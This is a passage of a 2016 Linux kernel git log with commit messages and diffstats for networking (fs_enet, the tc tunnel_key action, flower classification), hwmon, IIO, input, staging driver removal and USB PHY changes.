packets are processed in 148 TB ticks with lower copybreak * 238 bytes packets are processed in 172 TB ticks with higher copybreak * 238 bytes packets are processed in 148 TB ticks with lower copybreak However it might be different on other processors and/or frequencies. So it is useful to make it configurable. Signed-off-by: Christophe Leroy Signed-off-by: David S. Miller .../net/ethernet/freescale/fs_enet/fs_enet-main.c | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit 070e1f01827c658b76bef6e3fa79046b4e4a7693 Author: Christophe Leroy Date: Fri Sep 9 14:26:23 2016 +0200 net: fs_enet: don't unmap DMA when packet len is below copybreak When the length of the packet is below the defined copybreak limit, the received packet is copied into a newly allocated skb in order to reuse the skb. This is only interesting if it allow us to avoid a new DMA mapping. We shall therefore not DMA unmap and remap the skb->data. Instead, we invalidate the cache with dma_sync_single_for_cpu() once the received data has been copied into the new skb. The following measures have been obtained on a mpc885 running at 132Mhz. Measurement is done using the timebase with packets sent to the target with 'ping -s 1' (packet len is 60): * Without this patch: 182 TB ticks * With this patch: 143 TB ticks As a comparison, if we set the copybreak limit to 0, then we get 148 TB ticks. It means that without this patch, duration is even worse when copying received data to a new skb instead of allocating a new skb for next packet to be received Signed-off-by: Christophe Leroy Signed-off-by: David S. Miller .../net/ethernet/freescale/fs_enet/fs_enet-main.c | 36 ++++++++++++---------- 1 file changed, 20 insertions(+), 16 deletions(-) commit 8572763af48728561f8bf708b6c0ea9f4db5929e Author: Christophe Leroy Date: Fri Sep 9 14:26:21 2016 +0200 net: fs_enet: merge NAPI RX and NAPI TX Initially, a NAPI TX routine has been implemented separately from NAPI RX, as done on the freescale/gianfar driver. By merging NAPI RX and NAPI TX, we reduce the amount of TX completion interrupts. Handling of the budget in association with TX interrupts is based on indications provided at https://wiki.linuxfoundation.org/networking/napi We never proceed more than the complete TX ring on a single run. At the same time, we fix an issue in the handling of fep->tx_free: It is only when fep->tx_free goes up to MAX_SKB_FRAGS that we need to wake up the queue. There is no need to call netif_wake_queue() at every packet successfully transmitted. Signed-off-by: Christophe Leroy Signed-off-by: David S. Miller .../net/ethernet/freescale/fs_enet/fs_enet-main.c | 268 +++++++++------------ drivers/net/ethernet/freescale/fs_enet/fs_enet.h | 16 +- drivers/net/ethernet/freescale/fs_enet/mac-fcc.c | 57 +---- drivers/net/ethernet/freescale/fs_enet/mac-fec.c | 57 +---- drivers/net/ethernet/freescale/fs_enet/mac-scc.c | 57 +---- 5 files changed, 160 insertions(+), 295 deletions(-) commit d1ba24feb466dfd23734e963912ca2e422e6e214 Merge: e808bb6 d0f6dd8 Author: David S. Miller Date: Sat Sep 10 20:53:56 2016 -0700 Merge branch 'act_tunnel_key' Hadar Hen Zion says: ==================== net/sched: ip tunnel metadata set/release/classify by using TC This patchset introduces ip tunnel manipulation support using the TC subsystem. In the decap flow, it enables the user to redirect packets from a shared tunnel device and classify by outer and inner headers. The outer headers are extracted from the metadata and used by the flower filter. A new action act_tunnel_key, releases the metadata. In the encap flow, act_tunnel_key creates a metadata object to be used by the shared tunnel device. The actual redirection to the tunnel device is done using act_mirred. For example: $ tc qdisc add dev vnet0 ingress $ tc filter add dev vnet0 protocol ip parent ffff: \ flower \ ip_proto 1 \ action tunnel_key set \ src_ip 11.11.0.1 \ dst_ip 11.11.0.2 \ id 11 \ action mirred egress redirect dev vxlan0 $ tc qdisc add dev vxlan0 ingress $ tc filter add dev vxlan0 protocol ip parent ffff: \ flower \ enc_src_ip 11.11.0.2 \ enc_dst_ip 11.11.0.1 \ enc_key_id 11 \ action tunnel_key release \ action mirred egress redirect dev vnet0 Amir & Hadar Changes from V6: - Add kfree_rcu to tunnel_key_release function - Use reverse Christmas tree order in tunnel_key_init function Changes from V5: - Add __rcu notation to struct tcf_tunnel_key_params in struct tcf_tunnel_key - Fix indentation in include/net/dst_metadata.h - Fix syntx error in commit message Changes from V4: - Fix tunnel_key_init function error flow. - Add 'action' variable to struct tcf_tunnel_key_params and use it instead of tcf_action variable which is not protected by rcu lock. Changes from V3: - Use percpu stats - No spinlock on datapatch - protecting parameters with rcu - Fix buggy handling of set/release dst - Use nla_get_in_addr and nla_put_in_addr - Fix change logs - Pass in6_addr by pointer - Rename utility functions to start with double underscore Changes from V2: - Use union in struct fl_flow_key for enc_ipv6 and enc_ipv4. - Rename functions _ip_tun_rx_dst and _ipv6_tun_rx_dst to _ip_tun_set_dst and _ipv6_tun_set_dst accordingly. - Remove local parameter 'encapdecap' from tunnel_key_init function. - Don't copy in6_addr values in tunnel_key_dump_addresses function, use pointers. Changes from V1: - More cleanups to key32_to_tunnel_id() and tunnel_id_to_key32() - IPv6 Support added - Set TUNNEL_KEY flag to make GRE work - Handle zero tunnel id properly in act_tunnel_key - Don't leave junk in decap action - Fix bug in act_tunnel_key initialization where (exists & ocr) is true - Remove BUG() from code - Rename action to tunnel_key - Improve grep-ability of code - Reuse code from ip_tun_rx_dst() and ipv6_tun_rx_dst() Changes from RFC: - Add a new action instead of making mirred too complex - No need to specify UDP port in action - it is already in the tunnel device configuration - Added a decap operation to drop tunnel metadata ==================== Signed-off-by: David S. Miller commit d0f6dd8a914f42c6f1a3a8c08caa16559d3d9a1b Author: Amir Vadai Date: Thu Sep 8 16:23:48 2016 +0300 net/sched: Introduce act_tunnel_key This action could be used before redirecting packets to a shared tunnel device, or when redirecting packets arriving from a such a device. The action will release the metadata created by the tunnel device (decap), or set the metadata with the specified values for encap operation. For example, the following flower filter will forward all ICMP packets destined to 11.11.11.2 through the shared vxlan device 'vxlan0'. Before redirecting, a metadata for the vxlan tunnel is created using the tunnel_key action and it's arguments: $ tc filter add dev net0 protocol ip parent ffff: \ flower \ ip_proto 1 \ dst_ip 11.11.11.2 \ action tunnel_key set \ src_ip 11.11.0.1 \ dst_ip 11.11.0.2 \ id 11 \ action mirred egress redirect dev vxlan0 Signed-off-by: Amir Vadai Signed-off-by: Hadar Hen Zion Reviewed-by: Shmulik Ladkani Acked-by: Jamal Hadi Salim Acked-by: Eric Dumazet Signed-off-by: David S. Miller include/net/tc_act/tc_tunnel_key.h | 30 +++ include/uapi/linux/tc_act/tc_tunnel_key.h | 41 ++++ net/sched/Kconfig | 11 + net/sched/Makefile | 1 + net/sched/act_tunnel_key.c | 351 ++++++++++++++++++++++++++++++ 5 files changed, 434 insertions(+) commit bc3103f1ed405de587fa43d8b0671e615505a700 Author: Amir Vadai Date: Thu Sep 8 16:23:47 2016 +0300 net/sched: cls_flower: Classify packet in ip tunnels Introduce classifying by metadata extracted by the tunnel device. Outer header fields - source/dest ip and tunnel id, are extracted from the metadata when classifying. For example, the following will add a filter on the ingress Qdisc of shared vxlan device named 'vxlan0'. To forward packets with outer src ip 11.11.0.2, dst ip 11.11.0.1 and tunnel id 11. The packets will be forwarded to tap device 'vnet0' (after metadata is released): $ tc filter add dev vxlan0 protocol ip parent ffff: \ flower \ enc_src_ip 11.11.0.2 \ enc_dst_ip 11.11.0.1 \ enc_key_id 11 \ dst_ip 11.11.11.1 \ action tunnel_key release \ action mirred egress redirect dev vnet0 The action tunnel_key, will be introduced in the next patch in this series. Signed-off-by: Amir Vadai Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/uapi/linux/pkt_cls.h | 11 +++++ net/sched/cls_flower.c | 100 ++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 110 insertions(+), 1 deletion(-) commit 2ff378b7474feac1ec665d01e4dfc6907cccc11c Author: Amir Vadai Date: Thu Sep 8 16:23:46 2016 +0300 net/dst: Utility functions to build dst_metadata without supplying an skb Extract __ip_tun_set_dst() and __ipv6_tun_set_dst() out of ip_tun_rx_dst() and ipv6_tun_rx_dst(), to be used without supplying an skb. Signed-off-by: Amir Vadai Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Reviewed-by: Shmulik Ladkani Signed-off-by: David S. Miller include/net/dst_metadata.h | 52 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 39 insertions(+), 13 deletions(-) commit d817f432c2ab7639a4f69de73eafdc55e57c45ad Author: Amir Vadai Date: Thu Sep 8 16:23:45 2016 +0300 net/ip_tunnels: Introduce tunnel_id_to_key32() and key32_to_tunnel_id() Add utility functions to convert a 32 bits key into a 64 bits tunnel and vice versa. These functions will be used instead of cloning code in GRE and VXLAN, and in tc act_iptunnel which will be introduced in a following patch in this patchset. Signed-off-by: Amir Vadai Signed-off-by: Hadar Hen Zion Reviewed-by: Shmulik Ladkani Acked-by: Jiri Benc Acked-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/vxlan.c | 4 ++-- include/net/ip_tunnels.h | 19 +++++++++++++++++++ include/net/vxlan.h | 18 ------------------ net/ipv4/ip_gre.c | 23 ++--------------------- 4 files changed, 23 insertions(+), 41 deletions(-) commit 93cacfd41f82eea00b420d62e29a493ca3d07b74 Author: Joshua Scott Date: Fri Sep 9 17:19:26 2016 +1200 hwmon: (adt7470) Allow faster removal adt7470_remove will wait for the update thread to complete before returning. This had a worst-case time of up to the user-configurable auto_update_interval. Replace msleep_interruptible with set_current_state and schedule_timeout so that kthread_stop will interrupt the sleep. Signed-off-by: Joshua Scott Signed-off-by: Guenter Roeck drivers/hwmon/adt7470.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit feca3132d9fd9822a28f67c25051efd468174de8 Author: Joshua Scott Date: Fri Sep 9 17:19:25 2016 +1200 hwmon: (adt7470) Add write support to alarm_mask Add write support for the alarm_mask. A base of 0 is provided so that either hex or decimal can be used. The hex format when reading alarm_mask is unchanged. Signed-off-by: Joshua Scott Signed-off-by: Guenter Roeck drivers/hwmon/adt7470.c | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) commit d9c149d6ce1a94de578a4e323f6881fcb6b986ab Author: Rui Wang Date: Sat Sep 10 23:40:45 2016 +0800 x86/ioapic: Ignore root bridges without a companion ACPI device Some PCI root bridges don't have a corresponding ACPI device. This can be the case on some old platforms. Don't call acpi_ioapic_add() on these bridges because they can't support ioapic hotplug. Reported-and-tested-by: Borislav Petkov Signed-off-by: Rui Wang Reviewed-by: Borislav Petkov Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bhelgaas@google.com Cc: helgaas@kernel.org Cc: linux-acpi@vger.kernel.org Cc: linux-pci@vger.kernel.org Cc: rjw@rjwysocki.net Cc: tony.luck@intel.com Link: http://lkml.kernel.org/r/1473522046-31329-1-git-send-email-rui.y.wang@intel.com Signed-off-by: Ingo Molnar drivers/pci/setup-bus.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 722dc54628ca5cffd3b4581b523775aa422b55df Author: Marcin Niestroj Date: Sat Sep 10 10:42:53 2016 -0700 Input: tps65218-pwrbutton - add support for tps65217 variant The power button found in tps65217 device is very similar to the tps65218, so let's enhance the driver to support both variants. This driver enables us to use tps65217's power button as KEY_POWER on am335x boards (directly connected button in chiliboard, accessible pin via expansion header in beaglebone). This patch has been tested with chiliboard. Signed-off-by: Marcin Niestroj Signed-off-by: Dmitry Torokhov .../bindings/input/tps65218-pwrbutton.txt | 17 +++- drivers/input/misc/Kconfig | 4 +- drivers/input/misc/tps65218-pwrbutton.c | 92 +++++++++++++++------- 3 files changed, 81 insertions(+), 32 deletions(-) commit 3521a0f05d28e75612bbe1ee014bdfedf831b23f Author: Russell King Date: Wed Sep 7 19:22:01 2016 -0700 Input: jornada720_ts - get rid of mach/irqs.h and mach/hardware.h includes Switch the jornada720 touchscreen driver to obtain its gpio from the platform device via gpiolib and derive the interrupt from the GPIO, rather than via a hard-coded interrupt number obtained from the mach/irqs.h and mach/hardware.h headers. Tested-by: Adam Wysocki Signed-off-by: Russell King Signed-off-by: Dmitry Torokhov arch/arm/mach-sa1100/jornada720.c | 10 ++++++++++ drivers/input/touchscreen/jornada720_ts.c | 21 ++++++++++++++------- 2 files changed, 24 insertions(+), 7 deletions(-) commit 72f6d0b9eaee7e00ffab57b49d8543cc35a7d894 Author: Russell King Date: Wed Sep 7 19:21:06 2016 -0700 Input: jornada720_kbd - remove unneeded mach/hardware.h include The Jornada720 keyboard driver does not make use of anything from the mach/hardware.h header, so this header can be removed. Tested-by: Adam Wysocki Signed-off-by: Russell King Signed-off-by: Dmitry Torokhov drivers/input/keyboard/jornada720_kbd.c | 1 - 1 file changed, 1 deletion(-) commit 7ba4b884b7a890e240a13f5f65d607721e80396a Author: Linus Walleij Date: Thu Sep 1 10:27:18 2016 +0200 iio: st_sensors: use the helper function The ST sensors can be used as a trigger for its own triggered buffer but it is also possible to use an external trigger: a HRTimer or even a different sensor (!) as trigger. In that case we should not pick the timestamp from our own interrupt top half even if it is active. This could practically happen if some other sensor is using the ST sensor as trigger but the ST sensor itself is using e.g. an HRTimer as trigger. So the trigger is on, but not used by us. We used to assume that whenever the hardware interrupt is turned on, we are using it for our own trigger, but this is an oversimplification. Handle this logically by using the iio_trigger_using_own() helper. Cc: Giuseppe Barba Cc: Denis Ciocca Cc: Crestez Dan Leonard Cc: Gregor Boirie Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/common/st_sensors/st_sensors_buffer.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 702a7b8e064a93df0b63e9d718b666a9851088fc Author: Linus Walleij Date: Thu Sep 1 10:27:17 2016 +0200 iio: trigger: helpers to determine own trigger This adds a helper function to the IIO trigger framework: iio_trigger_using_own(): for an IIO device, this tells whether the device is using itself as a trigger. This is true if the indio device: (A) supplies a trigger and (B) has assigned its own buffer poll function to use this trigger. This helper function is good when constructing triggered, buffered drivers that can either use its own hardware *OR* an external trigger such as a HRTimer or even the trigger from a totally different sensor. Under such circumstances it is important to know for example if the timestamp from the same trigger hardware should be used when populating the buffer: if iio_trigger_using_own() is true, we can use this timestamp, else we need to pick a unique timestamp directly in the trigger handler. For this to work of course IIO devices registering hardware triggers must follow the convention to set the parent device properly, as as well as setting the parent of the IIO device itself. When a new poll function is attached, we check if the parent device of the IIO of the poll function is the same as the parent device of the trigger and in that case we conclude that the hardware is using itself as trigger. Cc: Giuseppe Barba Cc: Denis Ciocca Cc: Crestez Dan Leonard Cc: Gregor Boirie Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron drivers/iio/industrialio-trigger.c | 16 ++++++++++++++++ include/linux/iio/trigger.h | 11 +++++++++++ 2 files changed, 27 insertions(+) commit 4b1a9380a62ae669d1ae10dc118570c276a645ea Author: Lars-Peter Clausen Date: Thu Sep 8 18:49:10 2016 +0200 iio: iio_push_event(): Don't crash if the event interface is not registered iio_push_event() operates on a struct iio_dev. This struct can be allocated using iio_device_alloc() which returns a valid struct iio_dev pointer. But iio_push_event() is not safe to use on such a iio_dev until iio_device_register() for the same device has successfully completed. This restriction is not documented anywhere and most drivers are written with the assumption that this restriction does not exist. The basic pattern that is followed by all drivers looks like the following: irqreturn_t event_callback(int irq, void *devid) { struct iio_dev *indio_dev = devid; ... iio_push_event(indio_dev, ...); return IRQ_HANDLED; } int driver_probe(struct device *dev) { struct iio_dev *indio_dev; indio_dev = iio_device_alloc(...); request_irq(event_irq, event_callback, ..., indio_dev); return iio_device_register(indio_dev); } And while it is unlikely that the IRQ fires before iio_device_register() completes (e.g. because the IRQ is disabled in the device) it is not impossible and might be triggered by glitches on the signal line or incorrect hardware configuration. To avoid undefined behaviour in such a case extend iio_push_event() to check if the event has been registered and discard generated events if it has not. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron drivers/iio/industrialio-event.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit b49f6ab951113cd2263a9d72b420e725e1cbfcf4 Author: Jes Sorensen Date: Sat Sep 10 08:21:57 2016 -0400 staging: Remove rtl8723au driver This driver is superseded by rtl8xxxu and has been marked as scheduled for deletion since 4.6 Signed-off-by: Jes Sorensen Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 7 - drivers/staging/Kconfig | 2 - drivers/staging/Makefile | 1 - drivers/staging/rtl8723au/Kconfig | 33 - drivers/staging/rtl8723au/Makefile | 53 - drivers/staging/rtl8723au/TODO | 16 - drivers/staging/rtl8723au/core/rtw_ap.c | 1738 --- drivers/staging/rtl8723au/core/rtw_cmd.c | 1470 --- drivers/staging/rtl8723au/core/rtw_efuse.c | 538 - drivers/staging/rtl8723au/core/rtw_ieee80211.c | 855 -- drivers/staging/rtl8723au/core/rtw_mlme.c | 2314 ---- drivers/staging/rtl8723au/core/rtw_mlme_ext.c | 6187 ---------- drivers/staging/rtl8723au/core/rtw_pwrctrl.c | 607 - drivers/staging/rtl8723au/core/rtw_recv.c | 2204 ---- drivers/staging/rtl8723au/core/rtw_security.c | 1630 --- drivers/staging/rtl8723au/core/rtw_sreset.c | 214 - drivers/staging/rtl8723au/core/rtw_sta_mgt.c | 439 - drivers/staging/rtl8723au/core/rtw_wlan_util.c | 1537 --- drivers/staging/rtl8723au/core/rtw_xmit.c | 2337 ---- drivers/staging/rtl8723au/hal/Hal8723PwrSeq.c | 80 - drivers/staging/rtl8723au/hal/Hal8723UHWImg_CE.c | 136 - .../staging/rtl8723au/hal/HalDMOutSrc8723A_CE.c | 1097 -- drivers/staging/rtl8723au/hal/HalHWImg8723A_BB.c | 565 - drivers/staging/rtl8723au/hal/HalHWImg8723A_MAC.c | 187 - drivers/staging/rtl8723au/hal/HalHWImg8723A_RF.c | 259 - drivers/staging/rtl8723au/hal/HalPwrSeqCmd.c | 156 - drivers/staging/rtl8723au/hal/hal_com.c | 853 -- drivers/staging/rtl8723au/hal/hal_intf.c | 42 - drivers/staging/rtl8723au/hal/odm.c | 1732 --- drivers/staging/rtl8723au/hal/odm_HWConfig.c | 396 - drivers/staging/rtl8723au/hal/odm_RegConfig8723A.c | 88 - drivers/staging/rtl8723au/hal/odm_debug.c | 39 - drivers/staging/rtl8723au/hal/odm_interface.c | 49 - .../staging/rtl8723au/hal/rtl8723a_bt-coexist.c | 11265 ------------------- drivers/staging/rtl8723au/hal/rtl8723a_cmd.c | 755 -- drivers/staging/rtl8723au/hal/rtl8723a_dm.c | 194 - drivers/staging/rtl8723au/hal/rtl8723a_hal_init.c | 2076 ---- drivers/staging/rtl8723au/hal/rtl8723a_phycfg.c | 961 -- drivers/staging/rtl8723au/hal/rtl8723a_rf6052.c | 503 - drivers/staging/rtl8723au/hal/rtl8723a_rxdesc.c | 69 - drivers/staging/rtl8723au/hal/rtl8723a_sreset.c | 55 - drivers/staging/rtl8723au/hal/rtl8723au_recv.c | 267 - drivers/staging/rtl8723au/hal/rtl8723au_xmit.c | 520 - drivers/staging/rtl8723au/hal/usb_halinit.c | 1269 --- drivers/staging/rtl8723au/hal/usb_ops_linux.c | 690 -- drivers/staging/rtl8723au/include/Hal8723APhyCfg.h | 162 - drivers/staging/rtl8723au/include/Hal8723APhyReg.h | 1078 -- drivers/staging/rtl8723au/include/Hal8723PwrSeq.h | 126 - .../staging/rtl8723au/include/Hal8723UHWImg_CE.h | 29 - .../staging/rtl8723au/include/HalDMOutSrc8723A.h | 64 - .../staging/rtl8723au/include/HalHWImg8723A_BB.h | 38 - .../staging/rtl8723au/include/HalHWImg8723A_FW.h | 28 - .../staging/rtl8723au/include/HalHWImg8723A_MAC.h | 26 - .../staging/rtl8723au/include/HalHWImg8723A_RF.h | 25 - drivers/staging/rtl8723au/include/HalPwrSeqCmd.h | 130 - drivers/staging/rtl8723au/include/HalVerDef.h | 114 - drivers/staging/rtl8723au/include/drv_types.h | 274 - drivers/staging/rtl8723au/include/hal_com.h | 182 - drivers/staging/rtl8723au/include/hal_intf.h | 115 - drivers/staging/rtl8723au/include/ieee80211.h | 341 - drivers/staging/rtl8723au/include/ioctl_cfg80211.h | 66 - drivers/staging/rtl8723au/include/mlme_osdep.h | 24 - drivers/staging/rtl8723au/include/odm.h | 860 -- drivers/staging/rtl8723au/include/odm_HWConfig.h | 153 - .../staging/rtl8723au/include/odm_RegConfig8723A.h | 27 - .../staging/rtl8723au/include/odm_RegDefine11N.h | 165 - drivers/staging/rtl8723au/include/odm_debug.h | 117 - drivers/staging/rtl8723au/include/odm_interface.h | 62 - drivers/staging/rtl8723au/include/odm_precomp.h | 49 - drivers/staging/rtl8723au/include/odm_reg.h | 111 - drivers/staging/rtl8723au/include/osdep_intf.h | 45 - drivers/staging/rtl8723au/include/osdep_service.h | 87 - drivers/staging/rtl8723au/include/recv_osdep.h | 36 - .../rtl8723au/include/rtl8723a_bt-coexist.h | 1627 --- .../staging/rtl8723au/include/rtl8723a_bt_intf.h | 69 - drivers/staging/rtl8723au/include/rtl8723a_cmd.h | 158 - drivers/staging/rtl8723au/include/rtl8723a_dm.h | 137 - drivers/staging/rtl8723au/include/rtl8723a_hal.h | 538 - drivers/staging/rtl8723au/include/rtl8723a_pg.h | 98 - drivers/staging/rtl8723au/include/rtl8723a_recv.h | 65 - drivers/staging/rtl8723au/include/rtl8723a_rf.h | 58 - drivers/staging/rtl8723au/include/rtl8723a_spec.h | 2148 ---- .../staging/rtl8723au/include/rtl8723a_sreset.h | 24 - drivers/staging/rtl8723au/include/rtl8723a_xmit.h | 225 - drivers/staging/rtl8723au/include/rtw_ap.h | 51 - drivers/staging/rtl8723au/include/rtw_cmd.h | 815 -- drivers/staging/rtl8723au/include/rtw_debug.h | 191 - drivers/staging/rtl8723au/include/rtw_eeprom.h | 135 - drivers/staging/rtl8723au/include/rtw_efuse.h | 109 - drivers/staging/rtl8723au/include/rtw_event.h | 74 - drivers/staging/rtl8723au/include/rtw_ht.h | 42 - drivers/staging/rtl8723au/include/rtw_io.h | 235 - drivers/staging/rtl8723au/include/rtw_mlme.h | 340 - drivers/staging/rtl8723au/include/rtw_mlme_ext.h | 683 -- drivers/staging/rtl8723au/include/rtw_pwrctrl.h | 242 - drivers/staging/rtl8723au/include/rtw_recv.h | 305 - drivers/staging/rtl8723au/include/rtw_rf.h | 102 - drivers/staging/rtl8723au/include/rtw_security.h | 331 - drivers/staging/rtl8723au/include/rtw_sreset.h | 36 - drivers/staging/rtl8723au/include/rtw_version.h | 1 - drivers/staging/rtl8723au/include/rtw_xmit.h | 380 - drivers/staging/rtl8723au/include/sta_info.h | 373 - drivers/staging/rtl8723au/include/usb_ops.h | 68 - drivers/staging/rtl8723au/include/usb_ops_linux.h | 41 - drivers/staging/rtl8723au/include/wifi.h | 84 - drivers/staging/rtl8723au/include/wlan_bssdef.h | 123 - drivers/staging/rtl8723au/include/xmit_osdep.h | 38 - drivers/staging/rtl8723au/os_dep/ioctl_cfg80211.c | 3348 ------ drivers/staging/rtl8723au/os_dep/mlme_linux.c | 81 - drivers/staging/rtl8723au/os_dep/os_intfs.c | 852 -- drivers/staging/rtl8723au/os_dep/recv_linux.c | 165 - drivers/staging/rtl8723au/os_dep/usb_intf.c | 628 -- drivers/staging/rtl8723au/os_dep/usb_ops_linux.c | 233 - drivers/staging/rtl8723au/os_dep/xmit_linux.c | 154 - 114 files changed, 66426 deletions(-) commit 919ab2524c52e5f801d8873f09145ce822cdd43a Author: Chen-Yu Tsai Date: Fri Sep 9 11:58:18 2016 +0800 phy: sun4i-usb: Use spinlock to guard phyctl register access The musb driver calls into this phy driver to disable/enable squelch detection. This function was introduced in 24fe86a617c5 ("phy: sun4i-usb: Add a sunxi specific function for setting squelch-detect"). This function in turn calls sun4i_usb_phy_write, which uses a mutex to guard the common access register. Unfortunately musb does this in atomic context, which results in the following warning with lock debugging enabled: BUG: sleeping function called from invalid context at kernel/locking/mutex.c:97 in_atomic(): 1, irqs_disabled(): 128, pid: 96, name: kworker/0:2 CPU: 0 PID: 96 Comm: kworker/0:2 Not tainted 4.8.0-rc4-00181-gd502f8ad1c3e #13 Hardware name: Allwinner sun8i Family Workqueue: events musb_deassert_reset [] (unwind_backtrace) from [] (show_stack+0xb/0xc) [] (show_stack) from [] (dump_stack+0x67/0x74) [] (dump_stack) from [] (mutex_lock+0x15/0x2c) [] (mutex_lock) from [] (sun4i_usb_phy_write+0x39/0xec) [] (sun4i_usb_phy_write) from [] (musb_port_reset+0xfb/0x184) [] (musb_port_reset) from [] (musb_deassert_reset+0x1f/0x2c) [] (musb_deassert_reset) from [] (process_one_work+0x129/0x2b8) [] (process_one_work) from [] (worker_thread+0xf3/0x424) [] (worker_thread) from [] (kthread+0xa1/0xb8) [] (kthread) from [] (ret_from_fork+0x11/0x20) Since the register access is mmio, we can use a spinlock to guard this specific access, rather than the mutex that guards the entire phy. Fixes: ba4bdc9e1dc0 ("PHY: sunxi: Add driver for sunxi usb phy") Cc: Hans de Goede Cc: stable@vger.kernel.org Signed-off-by: Chen-Yu Tsai Reviewed-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 0f74ab59ce8712e7e2bb1e4517033328e626b27c Author: Randy Li Date: Sat Sep 10 02:59:38 2016 +0800 phy: rockchip-usb: use rockchip_usb_phy_reset to reset phy during wakeup It is a hardware bug in RK3288, the only way to solve it is to reset the phy. Signed-off-by: Randy Li Signed-off-by: Kishon Vijay Abraham I .../devicetree/bindings/phy/rockchip-usb-phy.txt | 3 +++ drivers/phy/phy-rockchip-usb.c | 20 ++++++++++++++++++++ 2 files changed, 23 insertions(+) commit cac18ecb6f44b11bc303d7afbae3887b27938fa4 Author: Randy Li Date: Sat Sep 10 02:59:37 2016 +0800 phy: Add reset callback The only use for this is for solving a hardware design problem in usb of Rockchip RK3288. Signed-off-by: Randy Li Reviewed-by: Heiko Stuebner Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-core.c | 15 +++++++++++++++ include/linux/phy/phy.h | 3 +++ 2 files changed, 18 insertions(+) commit 91d6e3b6bcf2625a07fec22a9af37ddbfd91a0df Author: Hans de Goede Date: Wed Sep 7 22:20:41 2016 +0200 phy-sun4i-usb: Warn when external vbus is detected Warn when external vbus is detected when we're trying to enable our own vbus. Signed-off-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 6ba43c2919613dad1a880fcab19cda1d68a5ce3d Author: Hans de Goede Date: Wed Sep 7 22:20:40 2016 +0200 phy-sun4i-usb: Add support for phy_set_mode Together with some musb sunxi glue changes this allows run-time dr_mode switching support via the "mode" musb sysfs attribute. Signed-off-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 5f90d31cab915e2405f8875e21239d4a6003a170 Author: Hans de Goede Date: Wed Sep 7 22:20:39 2016 +0200 phy-sun4i-usb: Simplify missing dr_mode handling If we cannot get dr_mode or no id gpio is specified simply assume peripheral mode, as this is always safe. Signed-off-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 42 ++++++++++++++---------------------------- 1 file changed, 14 insertions(+), 28 deletions(-) commit 36f9159ba99076ab643794a83735197b4042b16f Author: Hans de Goede Date: Wed Sep 7 22:20:38 2016 +0200 phy-sun4i-usb: Refactor forced session ending The phy-sun4i-usb code supports forced ending a session on systems which lack Vbus detection, to allow switching between host and peripheral mode on such systems. Role switching via the musb driver "mode" sysfs attribute requires force ending the session too. This commit refactors the code to allow other parts of the phy-sun4i-usb code to request a forced session end. Signed-off-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 27 +++++++++++++-------------- 1 file changed, 13 insertions(+), 14 deletions(-) commit 9745ceebc4e1e593ddba1b1a104a4a99f2b9a556 Author: Hans de Goede Date: Wed Sep 7 22:20:37 2016 +0200 phy-sun4i-usb: Use bool where appropriate We're using bool as true/false type in most places in phy-sun4i-usb.c for consistency fixup the remaining uses of ints which are ever only 0 or 1 to be bools too. Signed-off-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 2a4d59625bf0f0ae57d6fecf5970ca03613f5db8 Author: Chris Zhong Date: Wed Sep 7 22:57:33 2016 -0700 phy: rockchip-typec: add pm runtime support Adds pm_runtime support for rockchip Type-C, so that power domain is enabled only when there is a transaction going on to help save power. Signed-off-by: Chris Zhong Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-rockchip-typec.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit cddbc4b7ef39ac5d84f183a46ee279cb0ae31a9f Author: Arnd Bergmann Date: Tue Sep 6 14:54:46 2016 +0200 usb: phy: add USB_SUPPORT dependency The driver now calls of_usb_get_dr_mode_by_phy, which is part of the USB core layer, and it fails to build when that is not provided: drivers/phy/phy-sun4i-usb.o: In function `sun4i_usb_phy_probe': phy-sun4i-usb.c:(.text.sun4i_usb_phy_probe+0x140): undefined reference to `of_usb_get_dr_mode_by_phy' We already have a couple of other PHY drivers with a dependency on USB_SUPPORT, so that seems to be the easiest fix here. An alternative would be to adjust the #ifdef in include/linux/usb/of.h to also check for CONFIG_USB_SUPPORT. Signed-off-by: Arnd Bergmann Reviewed-by: Hans de Goede Fixes: b33ecca87df9 ("phy-sun4i-usb: Add support for peripheral-only mode") Signed-off-by: Kishon Vijay Abraham I drivers/phy/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit d83614e45b37dddd4118d76f5b8a37a9d8f8993f Author: Chris Zhong Date: Tue Sep 6 10:00:20 2016 -0700 Documentation: bindings: add dt doc for Rockchip USB Type-C PHY This patch adds a binding that describes the Rockchip USB Type-C PHY for rk3399 Signed-off-by: Chris Zhong Reviewed-by: Tomasz Figa Reviewed-by: Kever Yang Reviewed-by: Guenter Roeck Acked-by: Rob Herring Signed-off-by: Kishon Vijay Abraham 